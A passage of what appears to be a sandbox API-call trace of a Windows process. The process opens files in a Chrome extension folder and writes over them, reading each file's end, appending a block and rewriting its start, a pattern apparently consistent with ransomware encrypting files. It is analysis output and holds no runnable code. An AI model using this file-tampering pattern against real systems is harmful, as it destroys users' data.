dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.791] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.791] ReleaseMutex (hMutex=0x128) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cast_app.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0057.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cast_app.js", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cast_app.js", lpUsedDefaultChar=0x0) returned 11 [0057.791] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0057.793] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x211da [0057.793] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.794] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x211da [0057.794] WriteFile (in: hFile=0x12c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.794] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0057.794] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0057.795] CloseHandle (hObject=0x12c) returned 1 [0057.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.795] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.795] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xc26 [0057.795] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.795] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.795] ReleaseMutex (hMutex=0x128) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="feedback.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0057.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="feedback.css", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feedback.css", lpUsedDefaultChar=0x0) returned 12 [0057.796] ReadFile (in: hFile=0x12c, lpBuffer=0x1df2e48, nNumberOfBytesToRead=0xc26, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df2e48*, lpNumberOfBytesRead=0x32cf2bc*=0xc26, lpOverlapped=0x0) returned 1 [0058.080] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0058.080] WriteFile (in: hFile=0x12c, lpBuffer=0x28057e8*, nNumberOfBytesToWrite=0x11ae, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x28057e8*, lpNumberOfBytesWritten=0x32cf2d0*=0x11ae, lpOverlapped=0x0) returned 1 [0058.080] CloseHandle (hObject=0x12c) returned 1 [0058.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0058.081] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.081] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x45bf [0058.081] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.081] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.081] ReleaseMutex (hMutex=0x128) returned 1 [0058.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fcc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0058.081] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.083] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x35bf [0058.083] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.083] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x35bf [0058.084] WriteFile (in: hFile=0x12c, lpBuffer=0x27fd658*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.084] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0058.084] WriteFile (in: hFile=0x12c, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0058.084] CloseHandle (hObject=0x12c) returned 1 [0058.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0058.085] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.085] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3e85 [0058.085] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.085] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.085] ReleaseMutex (hMutex=0x128) returned 1 [0058.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0058.085] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.113] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2e85 [0058.113] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.115] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2e85 [0058.115] WriteFile (in: hFile=0x12c, lpBuffer=0x27fd658*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.115] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0058.115] WriteFile (in: hFile=0x12c, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0058.115] CloseHandle (hObject=0x12c) returned 1 [0058.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0058.116] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.116] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3f0c [0058.116] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.117] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.117] ReleaseMutex (hMutex=0x128) returned 1 [0058.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fcc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0058.117] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.128] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2f0c [0058.128] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.128] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2f0c [0058.128] WriteFile (in: hFile=0x12c, lpBuffer=0x27fd658*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.129] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0058.129] WriteFile (in: hFile=0x12c, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0058.129] CloseHandle (hObject=0x12c) returned 1 [0058.129] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0058.130] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.130] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3ebc [0058.130] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.130] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.130] ReleaseMutex (hMutex=0x128) returned 1 [0058.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0058.130] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.134] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2ebc [0058.135] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.135] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2ebc [0058.135] WriteFile (in: hFile=0x12c, lpBuffer=0x27fd658*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.135] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0058.135] WriteFile (in: hFile=0x12c, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0058.136] CloseHandle (hObject=0x12c) returned 1 [0058.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0058.136] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.136] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x49c1 [0058.137] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.137] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.137] ReleaseMutex (hMutex=0x128) returned 1 [0058.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fcc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0058.137] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.139] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x39c1 [0058.139] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.139] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x39c1 [0058.139] WriteFile (in: hFile=0x12c, lpBuffer=0x27fd658*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.139] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0058.139] WriteFile (in: hFile=0x12c, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0058.139] CloseHandle (hObject=0x12c) returned 1 [0058.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0058.140] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.140] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3d72 [0058.140] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.140] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.140] ReleaseMutex (hMutex=0x128) returned 1 [0058.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0058.140] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.143] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2d72 [0058.143] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.143] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2d72 [0058.143] WriteFile (in: hFile=0x12c, lpBuffer=0x27fd658*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.143] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0058.143] WriteFile (in: hFile=0x12c, 